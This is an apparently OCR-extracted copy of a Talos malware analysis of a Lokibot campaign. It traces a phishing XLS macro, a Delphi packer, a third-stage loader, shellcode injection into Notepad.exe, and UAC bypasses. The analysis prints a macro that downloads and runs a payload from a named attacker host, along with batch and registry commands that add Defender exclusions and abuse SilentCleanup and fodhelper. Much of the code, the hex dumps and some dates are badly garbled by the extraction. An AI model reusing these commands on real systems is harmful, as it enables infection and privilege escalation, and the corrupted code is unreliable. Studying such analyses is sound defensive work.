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Lokibot is one of the most well-known information stealers on the malware landscape. In this post, we'll provide a

technical breakdown of one of the latest Lokibot campaigns.

Talos also has a new script to unpack the dropper's third stage.

The actors behind Lokibot usually have the ability to steal multiple types of credentials and other sensitive
information. This new campaign utilizes a complex, multi-stage, multi-layered dropper to execute Lokibot on the

victim machine.

What's new?

This sample is using the known technique of blurring images in documents to encourage users to enable macros.
While quite simple this is fairly common and effective against users. This write up is intended to be a deep dive

for reverse engineers into the latest tricks Lokibot is using to infect user machines.

How did it work?

The attack starts with a malicious XLS attachment, sent in a phishing email, containing an obfuscated macro that
downloads a heavily packed second-stage downloader. The second stage fetches the encrypted third-stage, which
includes three layered encrypted Lokibot. After a privilege escalation, the third stage deploys Lokibot. The Image

below shows the infection chain.
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So what?

Defenders need to be constantly vigilant and monitor the behavior of systems within their network. This blog
provides a detailed overview of how complex the infection chain is for Lokibot and which tricks the adversaries

are using to bypass common security features and tools of modern operating systems.

First-stage analysis

When the user opens the phishing email, it presents a Spanish social engineering message ("Payment: Find

scheduled payment dates attached"). The figure below shows a screenshot of one of the emails we looked at.

Contabilidad <admon@berza com.mx> ¥ 9 Reply % Reply All ¥ -~ Forward  More v

Pago 10/12/2020, 1:55 PM

Encuentre las fechas de pago programadas adjuntas

W |ﬂ] 1 attachment: Fechas de pago programadas.xls

Bl Fechas de pago programadasxls 91.0 KB

The Excel sheet uses another common social engineering technique by showing a blurred-out image of a table
with the text "Changing the size of this document, please wait," in Spanish. If the victim clicks the "Enable

Content" button, thinking it will make the image visible, a malicious macro is executed.
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The macro is mainly obfuscated by using long hexadecimal variable names. The screenshot below shows a portion

of the "Workbook_Open" function of this macro.

CBDHCRWWVKENGGHMTVXTONJCSTESUCIRXERNDIWH . cesponseBody

3 1L
CHNRADT ICHE TS ISCFI W E P DVEFHD P ET LD JELOHHAU T AY SRS Y BN ICEMLWHTWUBC TUUZFSOY ISCYTIOONPIFINER
CEDHCRAWVHFENQGHMMTVATONIJCSTESUCIRAEENDIWNH . Status = 200 Than

q st
CLPR X W IRV YHU I K Y UV LB Y D I Y G R R FPF PO G I Y VEDOGLOMAIBRCHMN R D T IO R TS IGGFI ZWZPFDVEFHDFETL.D
FPIFIXEEMNFLXEFE = CreateObject {(“adodb.stresam®)

5 CLPE X W IRV YUK Y UV LU F R D I Y A G R FP O LG R Y VEDO G LOMIRCHN R DT IO R TS IGEFI ZNZPDVEFHDFPETL.T
FIFIXEEMNPLEFD . Opan
[ CLPR RN SRV I HU K I UV LAV YD I S 0GR RrF OGS Y VEDOGLOMIDCHN REDT IONRT I I GGl SWESFDVENHDFET LT

FPIFIXEEMNFPLEFDE . Type =
TCLPR KW IRV Y HUU K Y UHV LA BU VDI SY SSGRRFPIOIG Iy VEDOGLOMIBCMNRDT IOHRTXI IGGF I IWIFDVEFHDRPETL
HPIFIXEEMNPLAFBTRELVEMT I PJICOBBOFOHIV.T

7 CLPR NN W RV Y HUU K Y UV LR BUF BV DI 3y S8R R F P RO G Sy VEDOGLOMIBCMN RDT IQHRTXS IGGFIZWZPDVEFHDPETLY
PIFIXEEMNPLMEFE . Woite
PIFIXEEMNPLEFETELVEMT Y JPJOQRBBOFOHIVIOLUTFPFCAVCERDWENE Y Z0BDHCRNW VX ENQOMMT VK TCNICATESUCZRY
XYUHVLEBRUFBVDIZYSACERFPFOEGEY VEDOSLOMSBCHMNADT IQHE TS IGGFIZWIPD

3 CLPRIXEW IRV YHUU K Y UHV LEBU N BV D I Y 8GR RFP QG EY VEDOGLOMASBCHMNRDT IQHRATX A ICGFI ZNZPDVEFHDPETLY
PIFIXEEMNPLNFBE. SavaToFils
BNIGEMLWHTWUBCIUUZFCOY ISCY TJOONFIFIXEENMNPFLYXFRTELVERNTY JPJCOBBOFON IV IJOLUT FPCXVCERDWENE Y 208
HDGERIZEFIVAHIYCLPREXXWIRVYHUUCK YUNVLEBUFBVDIZYSS3GRRFFEF,
¥ OLFREZXXWIRVYHUUCK YUNVLEBUFBVD I ZY S SGRRFFFOZG Y VEDOGLOMIBCHMNRDT IQHA T IGGFI ZWZIFDVEFHDFETL
NPIFIXEEMNPLEFDTELVEMTYJPJCOQBDOFCOHIV.T +
TCLFREZXXWIRVIHUUCK YT UNVLEBU BV DI S Y ASGRRIFIOZGI Y VEDOGLOMIDCHMNRDT LONRTX I IGGr I SWIFDVEFrHDFETL
NPIFIXEEMNPLAFBTRELVEMT Y JPJCOBBOFOHIV.T

E LR W R U K Y Y LR B Y DI Sy G R R PO S G S YVEDOG L oM BN RD T IO R TS I GG NI SH I PDVEFHDPET LS
PIFIXEEMNPLEFE. Cloas

2 End LE

1 RN GG I oW P DV EFH D P E T LT DN JELOHH B I Y GW G Y BN I G EM LW TWURC U L FCQY T ACY TITOONP I FIKEEMN L FRTE

HENQEIMMTVHTENICSTESUTO IR EEXEDIWHN . Opan  {
BNIGEMLWHITWUOBRC. U ROy I8 Y T IJToOCON P IF I EEMN P LY FETELVENT Y S JOOBBOFOH IV IOLUT FPCXVCERDWBNEY ZOB
DG ERS R EFITVaAHI Y CLPE S W IRV YHUOUCK YU VLEBUFBVDIZYSSGERFPFF)

2 End Sub

The deobfuscated macro is shown below.
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1 Templatesfath = 'fls':.u.'.';hl_-'_l..'.'Fpl:::i.a.ll'clde::l ("Template=")
Set HttpRagquest Craatedbjact ("microacft. wm
3 Set ShellapplicationObj = Createdbject (“Shell Application®™)
4 L
1 IDntthEun = TemplateaPath + namrypcq";xh_'ﬁj;;hh-"}l
&
o HttpRegquest.Open "get”, Decrypt URL for second-stage
B DecEypt (g~~~ 20<<wavy | wav-axyy oWyt Oequiuw i F nrud 2~~~ rtpwilup-~na~ye | np, po~..q fu<dngewapwin,n" )
=} I |False
10 HttpRegquest . sand
11 HttpReaponacBody = HttpRegueat.reaponacBody
12 [H If MttpRequest.Status = 200 Then
13 et hdokeStreamX = C:-:dLEOZ:.IjI-_-I_".,{"n-'..5:--*.-!.l:=rl:l"}
14 AdobeStroamX . Open
15 AdobeStreamy.Type = Integer 1
16 hdobeftreamt.Write HbtpResponseBody
17 AdobeStream¥.SaveToFile FathToExe, Integer_l1 + Integer_1
1B - AdobeStreamX.Close
18 End Ti
20
21 Ishcl'_;‘.ppl;l:a.ti-:hnvhj.tlp:n tl-'nth'l'-:hlix-:ll Execute second-stage
22 End Sub
23

It decrypts the URL for the second-stage from hardcoded bytes, saves it to the "Templates" folder, and executes it.

The traffic generated from the macro is shown below.

GET fojHYhkfkmuofwuendkfptktnbujgmfkgtdeitobregvdgetyhsk/Xehmigm.exe HTTP/1.1
Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 7.8; Windows NT 10.8; WOWG4; Trident/7.@;
.NET4.8C; .NET4.0E)

Host: millsmiltinon.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.18.3

Date: Mon, 12 Oct 20280 21:07:48 GMT
content-Type: application/octet-stream
content-Length: 629768

Last-Modified: Mon, 12 Oct 2020 20:45:34 GMT
connection: keep-alive

ETag: "Sf8d4cese-99cog”

Accept-Ranges: bytes

T [ 010000 O D0 0 00 D005 B0 0 O DO G0 D 0 O D0 G0 D0 1 DD
L1..L.1,.This program must be run under Win3Zz
05 5 00 00 B0 5 0 0 G55 5 5 D55 5 0 805 5 5 0 5015 5 0 0545 5 G 5 5 0 805 5 0 5 5 15 5 G 55 5 5 0 .05 5 5 0 5 8 0 55 4 6060 5 5 60 06

Second-stage analysis

The second-stage executable is packed with a Delphi-based packer.

Packer analysis

The packer contains a timer "xvv" timer under "Form_main’, which unpacks the payload. The timer and its handler

code are shown below.
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Form_main (23 components) S8

=- Form_main I

OnCreate=TForm_main FormCreale
: _ Jtext :@84531BC
image1Ciimage text :BEIE31BC
ImageZ Timage Jtext 188463180
Label_pourcentTLabel Jtext:@@a631BC _TForm_main_xvvTimer proc near
Label_texe TLabel £ pusn - eox
Mo chx, Cax
Image3:Timage call : .
1- SpeedButton_copier TSpeedBution xor c.:lx_, edx
Button1:TButon may eax, [ebx+3BCh]
Edit_text TEdH —T——F ]
ProgressBar1: TProgressBar =
51- Button_pelice:TButton
StatusBar1 TStatusBar
51- Button_remplissage TBution
- FentDizlog1:.MFontDialeg
=1- MainMenu1: TMainMenu

=) o ITTimer Unpacking function
® CnTimer=TForm_main.oavTimer

The unpacking function performs the following steps:

1eea63401
JeRt i Bada3ls pop ehx

text:egda3ilp’ retn

Ltext ;83463107 _TForm_main_xvvTimer endp
tText :88a631P7

1. Loads the image resource with name "T__6541957882" into memory.
2. Finds the anchor "'WWEX" and copies data following to the new buffer.
3. Adds "0xEE" to the bytes to decode the DLL.

4. Reflectively loads decoded DLL into memory and executes it.

The figure below shows the resource image that contains the encoded executable.

w T 6541957882 : 1033 |
| COTEer Grodp
4 J Icon Group
o4 , MAINICOMN
r 0
i 1035
4 J Version Info
i - 1:1036
4 | Manifest
o 1:1033

The following image shows the location of the embedded executable following anchor ' WWEX".

Page 5 of 19


https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/-imNfc7-Ffjo/X_WOjlAEsMI/AAAAAAAAByU/qWrjmqYSjOo4VFxM5W0jAZKGi-XOmTMqACLcBGAsYHQ/s771/image23.png
https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/-imNfc7-Ffjo/X_WOjlAEsMI/AAAAAAAAByU/qWrjmqYSjOo4VFxM5W0jAZKGi-XOmTMqACLcBGAsYHQ/s771/image23.png
https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/-zudPRMPgGPQ/X_WOuykcYSI/AAAAAAAAByY/33tvde_EEfQbT2eHVLWys0FUeDJjVpwPgCLcBGAsYHQ/s733/image25.png
https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/-zudPRMPgGPQ/X_WOuykcYSI/AAAAAAAAByY/33tvde_EEfQbT2eHVLWys0FUeDJjVpwPgCLcBGAsYHQ/s733/image25.png

https://blog.talosintelligence.com /2021 /01 /a-deep-dive-into-lokibot-infection-chain.html

DO018BAO 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPFFPPPPPPPFE
D0018BBO 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPFFPPPPPPPFE
DO018BCO 50 50 50 S0 50 50 50 50 50 50 50 50 50 S0 50 50 PPEPPPEPPPPPPPFE
DO018BDO 50 50 50 50 50 50 50 50 50 50 50 50 50 S0 50 50 PPEPPPEPPPPPPPFE
D0018BEO 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPFFPPPPPPPFP
D0018BFO 50 50 50 50 50 50 50 S50 50 50 50 50 50 50 50 50 PPPPPFEPPPPPPPFP
00018C00 50 50 50 50 50 50 [57 57 45 SEEE 6C 62 12 14 12 | PPePPHWWEX] 1b.

pooigcio |12 12 16 12 21 12 11 11 12 12 CA 12 12 12 12 12| ....'..... E.....
D0018C20 |12 12 52 12 2C 12 12 12 12 12 12 12 12 12 12 12| .. Ruyeunrennrnns
DOO18C30 |12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12| teuvrrnnrennrres
DO018C40 |12 12 12 12 12 12 12 13 12 12 CC 22 12 20 31 CE] vvuurrnnn. ir, 1E

Blue Box: Anchor
Red Box: Encoded Excutable

The following code shows the code and decoded DLL.

Load Image Resource Resource Nage

®|00462486| |mov eax,dword ptr ss:[ebp-20] 7 |'[ebp—20] :"T__6541957882"
e| 00462489 call <6b.system::___linkproc__ LStrToPChar (System:

&) 004624BE lea edx,dword ptr =s:[ebp-14]

- €all <Gb.Loadresource:

o 00462496
e 00462497

push edx

op eax eax:"T__6541957882"

Add OxEE to bytes to decode DLL

| r'-—9; 00462003 4| Tea é;n:awurd ptr ss:flebp-C

| & 00462006 mov edx,dword ptr ss:febp-4

v ef 004620089 {movzx edx,byte ptr ds:[edx+edi-1]

E I [ ggigggni mc; ecx,ggggguptr 55 :Bebp-8l

i & 004620 and ecx, B500000FF

vl __ello04620e7| | |Gns Bb.4620F1

i: i e 004620E0 {dec ecx

i @ 004620EA or ecx,FFFFFFO0

Pl ®| 004620F0 Linc ecx

— . {add edx,ecx

Ol @ 004620F3 L : ar>

El o 004620FB mov edx,dword ptr ss:flebp-Cj)

! I o 004820FE6 moy eax,esd

:= e 004620FD gall =6b.system::_ linkproc__ Lstrcat{void):

! e 00462102 {inc edi

i o 00462103 ‘dec ebx

| l———o| 002462104 =) jne/6b. 462003 |

Decoded DLL
Address Hiex ASCII
01lpDZ2358 4D 5A 50 00|02 00 00 0O|04 OO OF OO (FF FF|MZP......... Y. .
01DD2 368 B2 00 00 00|00 00 00 00|40 OO0 1A QOO0 OO( ....... ccrnoes
0lpp2378 |00 OO0 OO0 QO|O0 00 OO0 QOO0 OO 00 O0(00 00| . ... cvucnanns
0lpp2388 |00 OO0 OO0 OO|O0 O0 OO OO|O0 OO 00 OO(O0 0L |... .ot vnnnanas
01DD2398 |BAa 10 00 QE|(1F B4 09 CD|21 BB 01 4C|CD 21 |°.... .1! _.LI!..
0lpp23a8 |54 68 69 73 (20 70 72 6F |67 72 61 6D |20 6D|This program mus
01DDZ3BE |74 20 62 65|20 72 75 GE|20 75 6E 64 (65 72|t be run under w
ﬂlDD;3CB 69 6E 33 32|00 0A 24 37|00 00 00 00|00 00|in32..587........
Unpacked DLL analysis

The unpacked DLL is also written in Delphi. It fetches the third payload from the hardcoded URL.
The DLL sets a timer, as shown below, which will execute the downloader function periodically.
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CODE

CODE

CODE

188279748
CODE:
CODE:
CODE:
CODE:

Be279744A
Be27974C
Be279751
Be279752

188279754
CODE:

Ba279755

108279754
CODE:
CODE:

Be27975F
B8279768

https://blog.talosintelligence.coi

push
push
mowv

push
push
push
call
mowv

Pop

retn

m /2021 /01 /a-deep-dive-into-lokibot-infection-chain.html

1

B8

eax, offset|Download3rdStage
eax ; TPLC

B ; UResolution
ebx ; ubDelay

winmm_timeSetEvent
ds:SetEventReturned, eax
ebx

The “Download3rdStage™ will first decode “https://discord.com™ and try to connect to it. Then, it performs a time-

based anti-debug check, as shown in the code below. If any of these checks fail, the DLL will not download the

third stage.

1

Pt

{

WD 00 =] oWl B L

= e
L b D

e
I

bool AntiDebug()

DWORD wv@; [/ e=bx
unsigned int vl;

__inted v3; S/ e
__inted vd; f/ e

kerneli? Get
k

Bm o L

vl

ReadTimeStampCounter();

TickCount();

rnel32 Sleep(@x6du);
ReadTimeStampCounter() - v
kernel32 GetTickCount() - v@;

I .
-3

return v4 < 50000000 || vl < 8x32;
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Once the checks have passed, DLL will decrypt the hardcoded third-stage URL, as shown in the code below, and
send the HTTP request.

Encrypted third-stage URL

CODE ;8279298 lea ecx, [ebpivar 8]

CODE:0827929E mo eax, offset ad23f1fBab27F6T ; "I23+1+02027F675d33278783553024443325841". _ .
CODE:882792A3 call DecodeStr ;  edx BA578388 "IKkzarHa"

CODE : 88279208 leva edx, |_-:'-h-[||'.'.1'_i ] H |_-:'-h|| H]:"I1l1;:l:l.".,-'m:.l lsmiltinon., comfwueendktpto]HYhktkmuothk!
CODE: 98279248 mo eax, [ebptvar E]

CODE : 922 792ALE call Sendlnternetlequest

CONF: AR T92R3
Decrypted third-stage URL

In response to the request, the server sends a ~618KB long hex string, as shown below.

GET /wuendkfptojHyhkfkmuofktnbujgmfkgtdeitobregvdgetyhsk/Xehmuth HTTP/1.1
User-Agent: PPPPPX

Host: millsmiltinon.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.10.3

Date: Mon, 12 Oct 2020 21:08:23 GMT
Content-Type: application/octet-stream
Ccontent-Length: 608256

Last-Modified: Mon, 12 Oct 2020 09:24:15 GMT
Connection: keep-alive

ETag: "5fs42@bf-94800"

Accept-Ranges: bytes

776091c7e3a2b12086f0el117e3f2a0a0776091c7e3a2b12086f0e117e3f2a0a0776091c7e3

17e3f2a0a0776091c7e3azbl2o86Toel17e3f2a0a0776091c7e3azbl2e86foel17e3f2a0at
bi12e86feel117e3f2a0a0776091c7e3a2bl12e86feel117e3f2a0a0776091c7e3a2bl12086f0el

The DLL decodes the hex string using the following steps:

1. Reverse the hex string.
2. Convert hexadecimal digits to bytes (unhexlify).
3. XOR decode with hardcoded key "ZKkz8PHO0".

We have written a small Python script to decrypt the third stage. The same decryption method was also used to

decrypt the hardcoded command and control (C2).The resulting file is also a DLL, which the second stage
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reflectively loads.

I'JIDEI'II: decodet
outfile, (bytes(

Third-stage analysis

The third stage is also written in Delphi. At the start, it loads a sizable binary resource named "-DVCLAL" into
memory. It then generates the key “7x21zoom8675309" from hard coded bytes. The key is then used to decrypt the
resource data using a custom encryption algorithm. The malware then recovers the configuration structure from
decrypted resource data. The structure fields are delimited by string “*()%@5YT!@#G__T@#$%"&*
O_#@$#575# @".

The decryption algorithm is shown below.
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e e e gy g
CODE :@2Da25AB6 les pax. [ebotlpy]

CODE : 83DASABS | ca1z BuildKey

CODE : @3D@5ABE mov gzi, 1

CODE :@3Da5AC3 maw egx, [ebp+PtrResourceData]
CODE : @3D85A06 call EDynArrayLength

CODE : 93DA5ACE moy edi, eax ; EBaw:
CODE :@3DasACD test edi, edi

CODE : 83Da5ACF jle short loc_3D@5B1F

CODE : 83085AD1 Moy ebx, 1

CODE :83Da5AD6

CODE :@3D85ADE loc_3D85SADG:

CODE : 83D85ADG Moy eax, [ebp+PtrResourceDatal]
CODE :@3Da5AD9 mow al, [eax+ebx-1]

CODE : @3DasADD and al, @Fh

CODE : @3Da5ADF moy edx, [ebp+Key]

CODE :83D85AE2 mow dl, [edw+esi-1]

CODE :@3D85AER and dl, @Fh

CODE : 83D85AES wor al, dl

CODE : 83DB5AEB mow [ebp+temp], al

CODE : @3DBSAEE lea eax, [ebp+PtrResourceData]
CODE :93Da5sAF 1 call EUniqueStringh

CODE :@3DasAFE mow edx, [ebp+PtrResourceDatal
CODE : @3D&5AFS mow dl, [edx+ebx-1]

CODE : @3D@5AFD and dl, @F@h

CODE :@30a5600 mow cl, [ebp+temp]

CODE :83Da5883 add dl, cl

CODE :@3Da5B885 | mov

CODE :@3Das5889 1nc £S5l

CODE :@3DasBeA mov eax, [ebp+Key]

CODE : @3Da5Be0D call ElynArraylength

CODE : 8@3Da5812 cmp esi, eax

CODE :@3De5814 jle short loc_3DASE1B

CODE : @3D85B16 mov esi, 1

CODE :83D85B1E

CODE :93D85816 loc_3D85B1B:

CODE :@83De5B81B inc ebx

CODE :830a581C dec edi

CODE :@3Da5B81D jnz short loc_3DBSADE

mOUnE L ADNGCOTE

The hex dump below shows a structure field highlighted separated by delimiters.

; U7d21zoomBeSS5389"

BEE1AERS

: CODE XREF: DecryptData+9117j

[eax+ebx-TT, @1 | Write decrypted byte

; CODE XREF: DecryptData+88t1]j

28
24
23
F8
DE
=)
EA
EL
F{]
54
35

29
25
21
D5
DC
E7
D9
EF
Fti
40
37

25
5E
40
F6
E3
D2
CE
E9
2A
23
24

40
20
cC
c8
CE
DF
D6
E7
28
24
23

35
2A
CE
CE
EB
EF
EA
DB
29
25
21

59
28
DA
E1
F2
D2
E6
D6
25
SE
40

54
29
Do
cD
F2
F3
F6
ES8
40
26
37

21
SF
E8
F8
E1l
CC
EE
D7
35
2A
34

40
JF
EB
Fl
DA
DA
D6
CcD
59
28
35

2A
23
24
F3
E6
D8
DA
CE
DB
5F
23

The configuration structure layout is shown below.

23
23
F2
E3
ED
D6
F4
c8
54
29
32
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47
40
F5
F9
F6
E7
D7
CF
21
5F
37

5F
24
F7
DA
F3
EA
E4
DO
40
SF
32

5F
23
EC
c8
Dl
ED
EA
EE
23
23
35

54 40

35
DE
E4
DF
D9
cC
D4
47
40
38

37
EO
EA
EC
EQ
EO
DE
5F
24
37

*()HA5YT@#G__T@

#S%A&™ () __#aS#57
$4#1@ITUpeéod+iba
opOOEIaIsnauUEde
®0UaIéooaliooNRi
@09cOoRi00IUOgETUA
UeuldexoiOoxaela
IaiecUOexIEIDTOP
086™ ()#as5yT!@#G_
_T@#S%A&™ () __#as
#575#1@745272387
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Unknown

PYOID Decryptionkeyd
PVOID DecryptionkeyE
PYOID Encryp tedExecutable

LPSTR AutoRunkeyFlag

LPSTR ExcutionFlagh
LPSTR ExcutionFlagB
FVOID EncryptedShellcode
LPSTR Unkniown

LPSTR FileName

Unknown

LPSTR ExecutionFlagl

LPSTR InjectDLLToNotepadFlag

Unknowrn
LPCSTR Unknown

Used in decryption
Used in decryption
Paints to encrypted executable

If setto "1, malware will persist using
autorun key

Combination of ExecutionFlagh.B.C
dictates how EncryptedExecutable
will be launched after decryption

Polnts to encrypted shellcode

Filename wsed in some checks

Used to check if to inject an embedded
L to notepad.exe

Set to str "Direct Crypted File Link Here"

Yoo

No. Setto 0"
ExecutionFlagh="1
ExecutionFlagB="1
Yes

No. Set to “200° but not used
Yes. Setto “Kehm®
MNo

Set to 0"

Setto 1"

Mao

Nao

Injecting malicious DLL to Notepad.exe

Then, the malware will check if “InjectDLLToNotepadFlag" is set and ‘reverse_str(FileName) + ".url"" (mheX.url)
file doesn't exist in C:\Users\\AppData\Local\". If yes, it will inject malicious DLL into Notepad.exe using the

following steps:

1. Launch a Notepad.exe in the suspended state (dwCreationFlag = CREATE_SUSPENDED).

2. Get the imported DLL name from the malicious DLL's import table (the first one is "kernel32.d11") and
write to the suspended process.

3. Write the following 12-byte structure containing addresses of kernel32: LoadLibrary, kernel32.sleep, and
DLL string.

Address |Value

QOODOO00 [ F5DE498F
QOODOO004 | 000CO000
000DO00S8 | 75D810FF

T T

Comments
kernel32.LoadLibrarya
"kernel32.d11"
kernel32.Sleep

N P — T T

4. Write a 210-bytes shellcode to Notepad.exe.
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ASCTT

Q00ADOO0
o00AD01O0
00040020
000AD030
Q00ADD40
o00ADO0S0
000ADDGE0
000AD0D70
Q00ADOE0
000ADODS0
000AD0AD
000ADDED
QO0ADOCO
00040000

(P T el ol

U.1.A0.E....UD.P
. Ug. P. . Uljueyuo
yynyyUuen a]A.
LB, U 7. ABSV, Ui.
a EueKubHEAUh HB
. dyod h<HB . hD
HD.E,.nyE..??.E
BhPHD . hDHB. B. .V
Pe..¥y.ED.ElE. Up
yDﬂEbWEDJJ
-MB=XGB . ﬁeﬂpyy
A, pad. Yy, 3AZY
Yd..thD..EuEF+b
WAL e

5. Execute this shellcode in Notepad.exe using "CreateRemoteThread" and pass the pointer to the 12-byte

structure shown above. This shellcode loads the DLL ("kernel32.dll") and then goes into an infinite sleep

loop.

6. Write DLL ("kernel32.d1l") string again to notepad.exe.

7. Write the 20-byte structure to Notepad.exe containing pointers to important APIs and two strings: imported

DLL name and imported API name.

00130004
00130008
0013000C
00130010

Address |value |
00130000|7702D598

LComments

73D81222
73D81245
00120000
00110000

o N o

Write 144 bytes of shellcode to Notepad.exe.

ntdl1.Rt1ExitUserThread
kernel3’?.GetProcAddress
kernel32.GetModuleHandleA

"kernel32.d11"
"DeleteCriticalsSection”

Address

ASCII

00140000
00140010
00140020
00140030
00140040
00140050
00140060
00140070
00140080

A A D

u.1.mw' 0. 11

yun uqu
UBPyUT_ i

SvW. A&, u b. EE&..
£hDID. hXID. &<, vy
Pex.y¥.D$.hdID.h
XID. e#. yyPeK. yy.
D%.htID. hXID.e. .
VWPE. . ¥W.D5. . %A

9. Execute this shellcode in Notepad.exe using “CreateRemoteThread™ and pass the pointer to the 20-byte

structure from step 7 as param. This shellcode will resolve the import pointed by the last variable of the

structure in step 7, and then exits using "RtlExistUserThread .

10. Repeat Steps 2 - 9 for all of the imported DLLs and imported functions in the malicious DLL's import

table.

11. Write malicious DLL to Notepad.exe.
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12. Write an eight-byte structure to Notepad.exe containing Malicious DLL base address and entry point.

Malicious DLL's Base Address

Adc
03C5
03C50004

504800001 "MzP "

150492D90

0000

Malicious DLL's Entrypoint

13. Write 122 bytes of shellcode to notepad.exe.

Address | Hex ASCIT

03Ce0000| 55 BB EC 83|C4 F8 BB 45|08 BB 10 B9 |55 F8 8B 50(U.1.A8.E....U8.P
03CE0010| 04 B9 55 FC|31 CO 50 6A|01 FF 75 FB|FF 55 FC 59|..UU1AP].yusyuly
03C&0020(59 50 C2 04|00 8D 40 00|55 SB EC 81|C4 78 FF FF|¥JA...&.U.3. AWy
Q3C&0030|FF 53 56 57|8BE F9 B9 55 |F8 89 45 FC|8D 45 CC BE|wSWW.U.UB.EU.EI.
03C&0040( 15 D8 45 DO|0O3 ES 02 F3|FE FF 33 CO|55 &8 F1 50| .8ED.2. upyIAURAP
03C60050 DO 03 &4 FF|30 &4 B9 20|C6 45 F7 00(8B C7 33 D2|p.dyod. Z£E=..C30
03CE0060 (52 50 BB 47(3C 9% 03 04|24 13 54 24|04 83 C4 OB |RP.G<...5.T5. . A,
03C60070| 89 45 E4 BEB|(0OO OO0 OO0 50|81 C3 00 00|00 0O 00 00| .E8s...P.A......

14. Execute the shellcode in Notepad.exe using "CreateRemoteThread" by passing the pointer to structure from

step 12 as param. The shellcode calls the entry-point point of the malicious DLL.

03CADD14
D3CADD1G
D3CADDLT
D3ICADDLY

NI ANNAC

31C0 XOr eax,eax

50 push eax

6A 01 push 1

FF75 F8 push dword ptr ss:[lebp - 5j [ebp-8]:"MZP"
FF55 FC call dword ptr ss:[ebp - 4]

[ == LA O

Injected DLL analysis (UAC bypass using two techniques)

It checks if "C:\Windows\Finex" exists. If not, it will drop the following file at path "C:\Users\Public\cde.bat:
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powershell -inputformat none -outputformat none®
NonInteractive -Command Add-MpPreference -ExclusionPath CiiwUsershuser\appData
“WLocal
del fg "C:i\Windows ‘\System32iy+"
rmdir "C:\Windows “System3z®
rmdir "C:\Windows "
mkdir "C:\Windows\Finex"
exit

Then, it drops C:\Users\Public\x.bat containing the following content.

cmd fc C:hUsershPublichx.vbs
exit

Then, it drops C:\Users\Public\x.vbs.

Fs0, objshell, strapp
FS0 = CreateObject{"Scripting.FileSystemObje
objshell = CreateObject("Wscript.Shell")
path = "C:\Users‘Publichcde.bat
F50.FileExists(path)
objshell.Run path, @,

objshellsh =
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Then it drops, C:\Users\Public\Natso.bat.

delete hkcu\Environment /v windir /f

add hkcusEnvironment fv windir fd “cmd fc start /min C sershyPublichx.bat reg
delete hkcuMEnvironment /v windir /f & REM "
schtasks /Runm /TH ‘Wicrosoft\Windows\DiskCleanuphSilentCleanup /I
reg delete hkcuhEnvironment /v windir /f

Then, it executes "Natso.bat’, which is a "fileless" UAC bypass found by_James Forshaw. More details here.

If C:\Windows\Finex still doesn't exist (which means the UAC bypass failed), it will update the Nasto.bat and

execute it using the code shown below.

/t REG_SZ /d
. crosoftiwindows
Zweurrentversionspoliciesh\system /v ConsentPromptBehavioradmin /7t REG_DWORD /d & /"
i
REG ADD cwhsoftwarehclasses‘ms-settingsishellhopenicommand® /v DelegateExecute /t

fodhelper.exe
emd fc ostart fmin C:\UsershPublichx.bat

This is another UAC bypass technique based on fodhelper.exe. More details here. On our test machine, the last

bypass was successful, and "C:\Windows\Finex" was successfully created. After that, the DLL deletes the dropped

file and exits.
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Decrypting and executing Lokibot

After attempting to bypass the UAC, the third-stage DLL will check if "AutoRunKeyFlag’ is set. For this DLL, it
is not set. It will then jump to code that decrypts the Lokibot executable using decryption keys from the
configuration structure. The first two layers are decrypted using "DecryptionKeyA" and ‘DecryptionKeyB", and
reverses all the data. After that, the final layer is decrypted using the same decryption method used to decrypt

resource data at the start of the third stage.

e =

CODE :@3Da64aCE

CODE :83D064CE loc IDO6EACE :

CODE : @3D854CE lea ecx, [ebptvar C&] Decrypts layer 1
CODE : 83086404 mowv edx, ds:DecryptionKeyh

CODE : 83086404 mowv eax, ds:EncyptedExecutable ; 1: eax 8481191(C

CODE - @30854048 ; 23 edx 84811898 <keyr

CODE : @3Da64DA ; 3: ecx BIBEFC98

CODE : @3Da64DA ; 4: [esp] @3BEFDAC

CODE :@30@64DF call CustomDecryptiond

CODE :930864E4 maw edw, Jebptvar (8] 5 &7

CODE :@30954EA mav eax, offset LlDecrypted ; result

CODE:@3D@64EF call  @LStrAsg Decrypts layers 2
CODE : @3D@64F4 mov eax, ds:DecryptionKeyB

CODE : 830864F0% call StrTolnt

CODE :@30864FE mov edx, eax

CODE : 83006588 lea ecx, [ebptvar CC]

CODE : 83085586 mov eax, ds:L1Decrypted

CODE : @3D8658E call CustomDecryptiond

[CODE:B3DAE5 16 Moy gy, lebptyar CC1 2 g2

CODE - 23086516 mav eax, offset L2Decrypted ; result

CODE : 83086518 call @Lstrasg

CODE : 83086526 lea edx, [ebp+OutReversedStr] ; out Str

CODE : 83086526 mov eax, ds:lL2Decrypted ; String Reverses data
CODE : 83086528 call ReverseString

TOOE T 200038 T TaR, |CDpTUULREVE BE0SLT]

CODE: 83086536 lea edx, [ebptvar D8]

CODE :83D8653C call DecryptData ; decrypts uing key:7x21zoomB67538

CODE : 83086541 mov edx, [ebp+var_D@] ; a2 DECWFTSHI?EI Ia‘gerand
CODE : 23006547 mov gax, offset DecryptediokiBotExe ; result reveals LDkIhD'C exe
R L e e T e i vy

The DLL contains multiple ways to execute a PE file. The execution method is decided based on the values of
ExecutionFlag A, B, C. Their values will lead to the following code for the current configuration, which will
decrypt the shellcode from the configuration using DecryptionKeyB, pass it three parameters: pointer to decrypted

Lokibot .exe, a pointer to an array of string and a pointer to current command line.
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-
CODE : @3DB672F mov
CODE:@3Da6734 mov
CODE : @3D86739 call
CODE :@3D8673E

eax, ds:ExcutionFlaga ; Left
edw, offset al 1 ; "1"

gLStrCmp

jnz loc 3DBETFD

" P

CODE: 23086744 mov
CODE : 23086749 mov

e
eax, ds:iExecutionFlagC ; Left
edw, offset al_1 ; "17

